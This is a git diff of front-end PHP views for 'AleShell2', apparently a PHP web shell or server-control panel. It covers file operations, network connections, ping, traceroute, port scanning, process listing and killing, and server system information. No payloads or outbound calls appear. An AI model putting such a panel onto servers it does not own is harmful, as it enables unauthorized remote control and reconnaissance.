document.getElementById('chmod-input').value = '';
|
||||
openModal('chmod-modal');
|
||||
}
|
||||
|
||||
function deleteFile() {
|
||||
if (!selectedFile) return;
|
||||
if (!confirm(`Are you sure you want to delete "${selectedFile.name}"?`)) return;
|
||||
|
||||
api('?module=files&action=delete', 'POST', { path: selectedFile.path })
|
||||
.then(response => {
|
||||
if (response.success) {
|
||||
toast('File deleted', 'success');
|
||||
refresh();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Modal actions
|
||||
function openNewFileModal() {
|
||||
document.getElementById('new-file-name').value = '';
|
||||
document.getElementById('new-file-content').value = '';
|
||||
openModal('new-file-modal');
|
||||
}
|
||||
|
||||
function openNewFolderModal() {
|
||||
document.getElementById('new-folder-name').value = '';
|
||||
openModal('new-folder-modal');
|
||||
}
|
||||
|
||||
function openUploadModal() {
|
||||
document.getElementById('upload-files').value = '';
|
||||
document.getElementById('upload-progress').classList.add('hidden');
|
||||
openModal('upload-modal');
|
||||
}
|
||||
|
||||
async function createNewFile() {
|
||||
const name = document.getElementById('new-file-name').value.trim();
|
||||
const content = document.getElementById('new-file-content').value;
|
||||
|
||||
if (!name) {
|
||||
toast('Please enter a filename', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
const path = currentPath + '/' + name;
|
||||
|
||||
const response = await api('?module=files&action=write', 'POST', { path, content });
|
||||
|
||||
if (response.success) {
|
||||
toast('File created', 'success');
|
||||
closeModal('new-file-modal');
|
||||
refresh();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
async function createNewFolder() {
|
||||
const name = document.getElementById('new-folder-name').value.trim();
|
||||
|
||||
if (!name) {
|
||||
toast('Please enter a folder name', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
const path = currentPath + '/' + name;
|
||||
|
||||
const response = await api('?module=files&action=mkdir', 'POST', { path });
|
||||
|
||||
if (response.success) {
|
||||
toast('Folder created', 'success');
|
||||
closeModal('new-folder-modal');
|
||||
refresh();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
async function uploadFiles() {
|
||||
const input = document.getElementById('upload-files');
|
||||
const files = input.files;
|
||||
|
||||
if (files.length === 0) {
|
||||
toast('Please select files to upload', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
const progressDiv = document.getElementById('upload-progress');
|
||||
const progressBar = document.getElementById('upload-bar');
|
||||
const statusText = document.getElementById('upload-status');
|
||||
|
||||
progressDiv.classList.remove('hidden');
|
||||
|
||||
for (let i = 0; i < files.length; i++) {
|
||||
const file = files[i];
|
||||
const formData = new FormData();
|
||||
formData.append('file', file);
|
||||
formData.append('path', currentPath);
|
||||
formData.append('csrf_token', getCsrfToken());
|
||||
|
||||
statusText.textContent = `Uploading ${file.name} (${i + 1}/${files.length})...`;
|
||||
progressBar.style.width = ((i / files.length) * 100) + '%';
|
||||
|
||||
try {
|
||||
const response = await fetch('?module=files&action=upload', {
|
||||
method: 'POST',
|
||||
body: formData
|
||||
});
|
||||
const result = await response.json();
|
||||
|
||||
if (!result.success) {
|
||||
toast(`Failed to upload ${file.name}: ${result.error}`, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
toast(`Failed to upload ${file.name}`, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
progressBar.style.width = '100%';
|
||||
statusText.textContent = 'Upload complete!';
|
||||
|
||||
setTimeout(() => {
|
||||
closeModal('upload-modal');
|
||||
refresh();
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
async function doRename() {
|
||||
const oldPath = document.getElementById('rename-old-path').value;
|
||||
const newName = document.getElementById('rename-input').value.trim();
|
||||
|
||||
if (!newName) {
|
||||
toast('Please enter a new name', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
const pathParts = oldPath.split('/');
|
||||
pathParts.pop();
|
||||
const newPath = pathParts.join('/') + '/' + newName;
|
||||
|
||||
const response = await api('?module=files&action=move', 'POST', { source: oldPath, destination: newPath });
|
||||
|
||||
if (response.success) {
|
||||
toast('File renamed', 'success');
|
||||
closeModal('rename-modal');
|
||||
refresh();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
async function doChmod() {
|
||||
const path = document.getElementById('chmod-path').value;
|
||||
const mode = document.getElementById('chmod-input').value.trim();
|
||||
|
||||
if (!mode) {
|
||||
toast('Please enter permissions', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
const response = await api('?module=files&action=chmod', 'POST', { path, mode });
|
||||
|
||||
if (response.success) {
|
||||
toast('Permissions changed', 'success');
|
||||
closeModal('chmod-modal');
|
||||
refresh();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
// Keyboard shortcuts
|
||||
document.addEventListener('keydown', (e) => {
|
||||
if (e.key === 'F5') {
|
||||
e.preventDefault();
|
||||
refresh();
|
||||
}
|
||||
if (e.key === 'Backspace' && document.activeElement.tagName !== 'INPUT') {
|
||||
e.preventDefault();
|
||||
navigateUp();
|
||||
}
|
||||
if (e.key === 'Delete' && selectedFile) {
|
||||
deleteFile();
|
||||
}
|
||||
});
|
||||
</script>
|
||||
314
src/Views/modules/network.php
Archivo normal
314
src/Views/modules/network.php
Archivo normal
@@ -0,0 +1,314 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Network View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
?>
|
||||
|
||||
<div class="tabs">
|
||||
<div class="tab active" data-tab="connections" onclick="switchTab('connections')">Connections</div>
|
||||
<div class="tab" data-tab="ping" onclick="switchTab('ping')">Ping</div>
|
||||
<div class="tab" data-tab="traceroute" onclick="switchTab('traceroute')">Traceroute</div>
|
||||
<div class="tab" data-tab="portscan" onclick="switchTab('portscan')">Port Scan</div>
|
||||
</div>
|
||||
|
||||
<!-- Connections Tab -->
|
||||
<div id="tab-connections" class="tab-content">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🔌 Network Connections</h3>
|
||||
<button onclick="loadConnections()" class="btn btn-sm btn-secondary">🔄 Refresh</button>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<div class="table-container">
|
||||
<table class="table table-mono">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Protocol</th>
|
||||
<th>Local Address</th>
|
||||
<th>Local Port</th>
|
||||
<th>Foreign Address</th>
|
||||
<th>State</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="connections-list">
|
||||
<tr>
|
||||
<td colspan="5" class="text-center">
|
||||
<div class="loading">
|
||||
<div class="spinner"></div>
|
||||
Loading connections...
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Ping Tab -->
|
||||
<div id="tab-ping" class="tab-content hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📡 Ping</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<form id="ping-form" onsubmit="doPing(event)">
|
||||
<div class="grid grid-2">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Host</label>
|
||||
<input type="text" id="ping-host" class="form-input" placeholder="google.com or 8.8.8.8" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Count</label>
|
||||
<input type="number" id="ping-count" class="form-input" value="4" min="1" max="10">
|
||||
</div>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary">📡 Ping</button>
|
||||
</form>
|
||||
|
||||
<div class="terminal mt-3">
|
||||
<div class="terminal-header">
|
||||
<span class="terminal-dot red"></span>
|
||||
<span class="terminal-dot yellow"></span>
|
||||
<span class="terminal-dot green"></span>
|
||||
</div>
|
||||
<div class="terminal-body" style="height: 300px;">
|
||||
<pre id="ping-output" class="terminal-output">Ready to ping...</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Traceroute Tab -->
|
||||
<div id="tab-traceroute" class="tab-content hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🛤️ Traceroute</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<form id="traceroute-form" onsubmit="doTraceroute(event)">
|
||||
<div class="grid grid-2">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Host</label>
|
||||
<input type="text" id="traceroute-host" class="form-input" placeholder="google.com" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Max Hops</label>
|
||||
<input type="number" id="traceroute-hops" class="form-input" value="30" min="1" max="30">
|
||||
</div>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary">🛤️ Trace Route</button>
|
||||
</form>
|
||||
|
||||
<div class="terminal mt-3">
|
||||
<div class="terminal-header">
|
||||
<span class="terminal-dot red"></span>
|
||||
<span class="terminal-dot yellow"></span>
|
||||
<span class="terminal-dot green"></span>
|
||||
</div>
|
||||
<div class="terminal-body" style="height: 300px;">
|
||||
<pre id="traceroute-output" class="terminal-output">Ready to trace...</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Port Scan Tab -->
|
||||
<div id="tab-portscan" class="tab-content hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🔍 Port Scanner</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<form id="portscan-form" onsubmit="doPortScan(event)">
|
||||
<div class="grid grid-2">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Host</label>
|
||||
<input type="text" id="portscan-host" class="form-input" placeholder="localhost or 192.168.1.1" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Ports</label>
|
||||
<input type="text" id="portscan-ports" class="form-input" placeholder="1-100 or 22,80,443" value="1-100">
|
||||
</div>
|
||||
</div>
|
||||
<p class="text-muted mb-2" style="font-size: 12px;">⚠️ Port scanning limited to 100 ports max</p>
|
||||
<button type="submit" class="btn btn-primary">🔍 Scan Ports</button>
|
||||
</form>
|
||||
|
||||
<div id="portscan-results" class="mt-3 hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h4 class="card-title">Scan Results</h4>
|
||||
<span id="portscan-summary" class="text-muted"></span>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<table class="table table-mono">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Port</th>
|
||||
<th>Service</th>
|
||||
<th>Status</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="portscan-list">
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Tab switching
|
||||
function switchTab(tabName) {
|
||||
document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
|
||||
document.querySelectorAll('.tab-content').forEach(c => c.classList.add('hidden'));
|
||||
|
||||
document.querySelector(`[data-tab="${tabName}"]`).classList.add('active');
|
||||
document.getElementById(`tab-${tabName}`).classList.remove('hidden');
|
||||
|
||||
if (tabName === 'connections') {
|
||||
loadConnections();
|
||||
}
|
||||
}
|
||||
|
||||
// Load connections
|
||||
async function loadConnections() {
|
||||
const tbody = document.getElementById('connections-list');
|
||||
tbody.innerHTML = '<tr><td colspan="5" class="text-center"><div class="loading"><div class="spinner"></div>Loading...</div></td></tr>';
|
||||
|
||||
try {
|
||||
const response = await api('?module=network&action=connections');
|
||||
|
||||
if (response.success) {
|
||||
const connections = response.data.connections;
|
||||
|
||||
if (connections.length === 0) {
|
||||
tbody.innerHTML = '<tr><td colspan="5" class="text-center text-muted">No connections found</td></tr>';
|
||||
return;
|
||||
}
|
||||
|
||||
let html = '';
|
||||
for (const conn of connections) {
|
||||
html += `
|
||||
<tr>
|
||||
<td><span class="badge badge-info">${escapeHtml(conn.protocol)}</span></td>
|
||||
<td>${escapeHtml(conn.local_address)}</td>
|
||||
<td>${escapeHtml(conn.local_port)}</td>
|
||||
<td>${escapeHtml(conn.foreign_address)}</td>
|
||||
<td><span class="badge badge-success">${escapeHtml(conn.state)}</span></td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
tbody.innerHTML = html;
|
||||
} else {
|
||||
tbody.innerHTML = `<tr><td colspan="5" class="text-danger text-center">${escapeHtml(response.error)}</td></tr>`;
|
||||
}
|
||||
} catch (error) {
|
||||
tbody.innerHTML = '<tr><td colspan="5" class="text-danger text-center">Failed to load connections</td></tr>';
|
||||
}
|
||||
}
|
||||
|
||||
// Ping
|
||||
async function doPing(event) {
|
||||
event.preventDefault();
|
||||
|
||||
const host = document.getElementById('ping-host').value.trim();
|
||||
const count = document.getElementById('ping-count').value;
|
||||
const output = document.getElementById('ping-output');
|
||||
|
||||
output.textContent = `Pinging ${host}...\n`;
|
||||
|
||||
try {
|
||||
const response = await api('?module=network&action=ping', 'POST', { host, count });
|
||||
|
||||
if (response.success) {
|
||||
output.textContent = response.data.output;
|
||||
} else {
|
||||
output.textContent = 'Error: ' + response.error;
|
||||
}
|
||||
} catch (error) {
|
||||
output.textContent = 'Error: ' + error.message;
|
||||
}
|
||||
}
|
||||
|
||||
// Traceroute
|
||||
async function doTraceroute(event) {
|
||||
event.preventDefault();
|
||||
|
||||
const host = document.getElementById('traceroute-host').value.trim();
|
||||
const maxHops = document.getElementById('traceroute-hops').value;
|
||||
const output = document.getElementById('traceroute-output');
|
||||
|
||||
output.textContent = `Tracing route to ${host}...\nThis may take a while...\n`;
|
||||
|
||||
try {
|
||||
const response = await api('?module=network&action=traceroute', 'POST', { host, max_hops: maxHops });
|
||||
|
||||
if (response.success) {
|
||||
output.textContent = response.data.output;
|
||||
} else {
|
||||
output.textContent = 'Error: ' + response.error;
|
||||
}
|
||||
} catch (error) {
|
||||
output.textContent = 'Error: ' + error.message;
|
||||
}
|
||||
}
|
||||
|
||||
// Port Scan
|
||||
async function doPortScan(event) {
|
||||
event.preventDefault();
|
||||
|
||||
const host = document.getElementById('portscan-host').value.trim();
|
||||
const ports = document.getElementById('portscan-ports').value.trim();
|
||||
const resultsDiv = document.getElementById('portscan-results');
|
||||
const tbody = document.getElementById('portscan-list');
|
||||
const summary = document.getElementById('portscan-summary');
|
||||
|
||||
resultsDiv.classList.remove('hidden');
|
||||
tbody.innerHTML = '<tr><td colspan="3" class="text-center"><div class="loading"><div class="spinner"></div>Scanning ports...</div></td></tr>';
|
||||
summary.textContent = '';
|
||||
|
||||
try {
|
||||
const response = await api('?module=network&action=portscan', 'POST', { host, ports });
|
||||
|
||||
if (response.success) {
|
||||
const data = response.data;
|
||||
|
||||
summary.textContent = `Scanned ${data.scanned_count} ports | ${data.open_count} open | ${data.closed_count} closed`;
|
||||
|
||||
if (data.open_ports.length === 0) {
|
||||
tbody.innerHTML = '<tr><td colspan="3" class="text-center text-muted">No open ports found</td></tr>';
|
||||
} else {
|
||||
let html = '';
|
||||
for (const port of data.open_ports) {
|
||||
html += `
|
||||
<tr>
|
||||
<td>${port.port}</td>
|
||||
<td>${escapeHtml(port.service)}</td>
|
||||
<td><span class="badge badge-success">${port.status}</span></td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
tbody.innerHTML = html;
|
||||
}
|
||||
} else {
|
||||
tbody.innerHTML = `<tr><td colspan="3" class="text-danger text-center">${escapeHtml(response.error)}</td></tr>`;
|
||||
}
|
||||
} catch (error) {
|
||||
tbody.innerHTML = '<tr><td colspan="3" class="text-danger text-center">Scan failed</td></tr>';
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
loadConnections();
|
||||
});
|
||||
</script>
|
||||
263
src/Views/modules/processes.php
Archivo normal
263
src/Views/modules/processes.php
Archivo normal
@@ -0,0 +1,263 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Processes View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
?>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">⚙️ Running Processes</h3>
|
||||
<div class="flex gap-1">
|
||||
<button onclick="refreshProcesses()" class="btn btn-sm btn-secondary">🔄 Refresh</button>
|
||||
<input type="text" id="process-filter" class="form-input" placeholder="Filter processes..." style="width: 200px;" onkeyup="filterProcesses(this.value)">
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<div class="table-container">
|
||||
<table class="table table-mono" id="process-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width: 80px;">PID</th>
|
||||
<th style="width: 100px;">User</th>
|
||||
<th style="width: 80px;">CPU %</th>
|
||||
<th style="width: 80px;">MEM %</th>
|
||||
<th style="width: 100px;">Memory</th>
|
||||
<th>Command</th>
|
||||
<th style="width: 80px;">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="process-list">
|
||||
<tr>
|
||||
<td colspan="7" class="text-center">
|
||||
<div class="loading">
|
||||
<div class="spinner"></div>
|
||||
Loading processes...
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-2 mt-3">
|
||||
<!-- System Load -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📊 System Load</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div id="system-load">
|
||||
<?php
|
||||
$load = sys_getloadavg();
|
||||
if ($load !== false):
|
||||
?>
|
||||
<div class="flex justify-between mb-1">
|
||||
<span class="text-muted">1 minute</span>
|
||||
<span><?= round($load[0], 2) ?></span>
|
||||
</div>
|
||||
<div class="flex justify-between mb-1">
|
||||
<span class="text-muted">5 minutes</span>
|
||||
<span><?= round($load[1], 2) ?></span>
|
||||
</div>
|
||||
<div class="flex justify-between">
|
||||
<span class="text-muted">15 minutes</span>
|
||||
<span><?= round($load[2], 2) ?></span>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<p class="text-muted">Load average not available</p>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Process Stats -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📈 Process Statistics</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div id="process-stats">
|
||||
<div class="flex justify-between mb-1">
|
||||
<span class="text-muted">Total Processes</span>
|
||||
<span id="stat-total">-</span>
|
||||
</div>
|
||||
<div class="flex justify-between mb-1">
|
||||
<span class="text-muted">Current User</span>
|
||||
<span id="stat-user-procs">-</span>
|
||||
</div>
|
||||
<div class="flex justify-between">
|
||||
<span class="text-muted">PHP Processes</span>
|
||||
<span id="stat-php-procs">-</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Kill Confirm Modal -->
|
||||
<div id="kill-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Kill Process</h3>
|
||||
<button class="modal-close" onclick="closeModal('kill-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<p>Are you sure you want to kill process <strong id="kill-pid"></strong>?</p>
|
||||
<p class="text-muted mt-1" id="kill-command"></p>
|
||||
<div class="form-group mt-2">
|
||||
<label class="form-label">Signal</label>
|
||||
<select id="kill-signal" class="form-select">
|
||||
<option value="15">SIGTERM (15) - Graceful</option>
|
||||
<option value="9">SIGKILL (9) - Force</option>
|
||||
<option value="1">SIGHUP (1) - Reload</option>
|
||||
<option value="2">SIGINT (2) - Interrupt</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('kill-modal')">Cancel</button>
|
||||
<button class="btn btn-danger" onclick="doKillProcess()">Kill Process</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
let processes = [];
|
||||
let killTarget = null;
|
||||
|
||||
// Initialize
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
refreshProcesses();
|
||||
// Auto refresh every 10 seconds
|
||||
setInterval(refreshProcesses, 10000);
|
||||
});
|
||||
|
||||
// Load processes
|
||||
async function refreshProcesses() {
|
||||
try {
|
||||
const response = await api('?module=processes&action=list');
|
||||
|
||||
if (response.success) {
|
||||
processes = response.data.processes;
|
||||
renderProcesses();
|
||||
updateStats();
|
||||
} else {
|
||||
document.getElementById('process-list').innerHTML = `
|
||||
<tr><td colspan="7" class="text-danger text-center">${escapeHtml(response.error)}</td></tr>
|
||||
`;
|
||||
}
|
||||
} catch (error) {
|
||||
document.getElementById('process-list').innerHTML = `
|
||||
<tr><td colspan="7" class="text-danger text-center">Failed to load processes</td></tr>
|
||||
`;
|
||||
}
|
||||
}
|
||||
|
||||
// Render processes
|
||||
function renderProcesses() {
|
||||
const tbody = document.getElementById('process-list');
|
||||
|
||||
if (processes.length === 0) {
|
||||
tbody.innerHTML = '<tr><td colspan="7" class="text-center text-muted">No processes found</td></tr>';
|
||||
return;
|
||||
}
|
||||
|
||||
// Sort by CPU usage
|
||||
const sorted = [...processes].sort((a, b) => parseFloat(b.cpu || 0) - parseFloat(a.cpu || 0));
|
||||
|
||||
let html = '';
|
||||
for (const proc of sorted) {
|
||||
const cpuClass = parseFloat(proc.cpu || 0) > 50 ? 'text-danger' : (parseFloat(proc.cpu || 0) > 20 ? 'text-warning' : '');
|
||||
const memClass = parseFloat(proc.mem || 0) > 50 ? 'text-danger' : (parseFloat(proc.mem || 0) > 20 ? 'text-warning' : '');
|
||||
|
||||
html += `
|
||||
<tr data-pid="${proc.pid}" data-command="${escapeHtml(proc.command || '')}">
|
||||
<td>${proc.pid}</td>
|
||||
<td>${escapeHtml(proc.user || '-')}</td>
|
||||
<td class="${cpuClass}">${proc.cpu || '0.0'}%</td>
|
||||
<td class="${memClass}">${proc.mem || '0.0'}%</td>
|
||||
<td>${proc.rss ? formatMemory(proc.rss) : '-'}</td>
|
||||
<td style="max-width: 400px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;" title="${escapeHtml(proc.command || '')}">
|
||||
${escapeHtml(proc.command || '-')}
|
||||
</td>
|
||||
<td>
|
||||
<button class="btn btn-sm btn-danger btn-icon" onclick="killProcess(${proc.pid}, '${escapeHtml(proc.command || '')}')" title="Kill">
|
||||
✕
|
||||
</button>
|
||||
</td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
|
||||
tbody.innerHTML = html;
|
||||
}
|
||||
|
||||
// Update statistics
|
||||
function updateStats() {
|
||||
const currentUser = '<?= addslashes(get_current_user()) ?>';
|
||||
|
||||
document.getElementById('stat-total').textContent = processes.length;
|
||||
document.getElementById('stat-user-procs').textContent = processes.filter(p => p.user === currentUser).length;
|
||||
document.getElementById('stat-php-procs').textContent = processes.filter(p => (p.command || '').toLowerCase().includes('php')).length;
|
||||
}
|
||||
|
||||
// Filter processes
|
||||
function filterProcesses(query) {
|
||||
query = query.toLowerCase();
|
||||
const rows = document.querySelectorAll('#process-list tr');
|
||||
|
||||
rows.forEach(row => {
|
||||
const command = row.dataset.command?.toLowerCase() || '';
|
||||
const pid = row.dataset.pid || '';
|
||||
row.style.display = (command.includes(query) || pid.includes(query)) ? '' : 'none';
|
||||
});
|
||||
}
|
||||
|
||||
// Kill process
|
||||
function killProcess(pid, command) {
|
||||
killTarget = pid;
|
||||
document.getElementById('kill-pid').textContent = pid;
|
||||
document.getElementById('kill-command').textContent = command;
|
||||
openModal('kill-modal');
|
||||
}
|
||||
|
||||
async function doKillProcess() {
|
||||
if (!killTarget) return;
|
||||
|
||||
const signal = document.getElementById('kill-signal').value;
|
||||
|
||||
try {
|
||||
const response = await api('?module=processes&action=kill', 'POST', {
|
||||
pid: killTarget,
|
||||
signal: signal
|
||||
});
|
||||
|
||||
if (response.success) {
|
||||
toast('Process killed', 'success');
|
||||
closeModal('kill-modal');
|
||||
refreshProcesses();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
toast('Failed to kill process', 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
// Format memory
|
||||
function formatMemory(kb) {
|
||||
const bytes = kb * 1024;
|
||||
const units = ['B', 'KB', 'MB', 'GB'];
|
||||
let i = 0;
|
||||
let size = bytes;
|
||||
while (size >= 1024 && i < units.length - 1) {
|
||||
size /= 1024;
|
||||
i++;
|
||||
}
|
||||
return size.toFixed(1) + ' ' + units[i];
|
||||
}
|
||||
</script>
|
||||
368
src/Views/modules/system.php
Archivo normal
368
src/Views/modules/system.php
Archivo normal
@@ -0,0 +1,368 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 System Info View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$systemInfo = $data['systemInfo'] ?? [];
|
||||
$server = $systemInfo['server'] ?? [];
|
||||
$php = $systemInfo['php'] ?? [];
|
||||
$hardware = $systemInfo['hardware'] ?? [];
|
||||
$disk = $systemInfo['disk'] ?? [];
|
||||
$network = $systemInfo['network'] ?? [];
|
||||
?>
|
||||
|
||||
<div class="tabs">
|
||||
<div class="tab active" data-tab="overview" onclick="switchTab('overview')">Overview</div>
|
||||
<div class="tab" data-tab="php" onclick="switchTab('php')">PHP</div>
|
||||
<div class="tab" data-tab="extensions" onclick="switchTab('extensions')">Extensions</div>
|
||||
<div class="tab" data-tab="environment" onclick="switchTab('environment')">Environment</div>
|
||||
</div>
|
||||
|
||||
<!-- Overview Tab -->
|
||||
<div id="tab-overview" class="tab-content">
|
||||
<div class="grid grid-2 mb-3">
|
||||
<!-- Server Info -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🖥️ Server Information</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted" style="width: 150px;">Hostname</td>
|
||||
<td><?= htmlspecialchars($server['hostname'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Operating System</td>
|
||||
<td><?= htmlspecialchars($server['os'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">OS Details</td>
|
||||
<td style="font-size: 12px;"><?= htmlspecialchars($server['os_detail'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Server Software</td>
|
||||
<td><?= htmlspecialchars($server['server_software'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Server Address</td>
|
||||
<td><?= htmlspecialchars($server['server_addr'] ?? 'Unknown') ?>:<?= htmlspecialchars($server['server_port'] ?? '') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Document Root</td>
|
||||
<td class="text-mono" style="font-size: 12px;"><?= htmlspecialchars($server['document_root'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Current User</td>
|
||||
<td><?= htmlspecialchars($server['current_user'] ?? 'Unknown') ?> (uid: <?= $server['current_uid'] ?? '?' ?>, gid: <?= $server['current_gid'] ?? '?' ?>)</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Process ID</td>
|
||||
<td><?= $server['process_id'] ?? 'Unknown' ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Uptime</td>
|
||||
<td><?= htmlspecialchars($server['uptime'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Load Average</td>
|
||||
<td>
|
||||
<?= $server['load_average']['1min'] ?? '-' ?> /
|
||||
<?= $server['load_average']['5min'] ?? '-' ?> /
|
||||
<?= $server['load_average']['15min'] ?? '-' ?>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Hardware Info -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">💻 Hardware Information</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted" style="width: 150px;">CPU</td>
|
||||
<td style="font-size: 12px;"><?= htmlspecialchars($hardware['cpu'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">CPU Cores</td>
|
||||
<td><?= htmlspecialchars($hardware['cpu_cores'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Total Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_total'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Free Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_free'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Available Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_available'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h4 style="margin: 20px 0 10px; font-size: 14px;">💿 Disk Usage</h4>
|
||||
<?php if (!empty($disk)): ?>
|
||||
<table class="table table-mono" style="font-size: 12px;">
|
||||
<thead>
|
||||
<tr>
|
||||
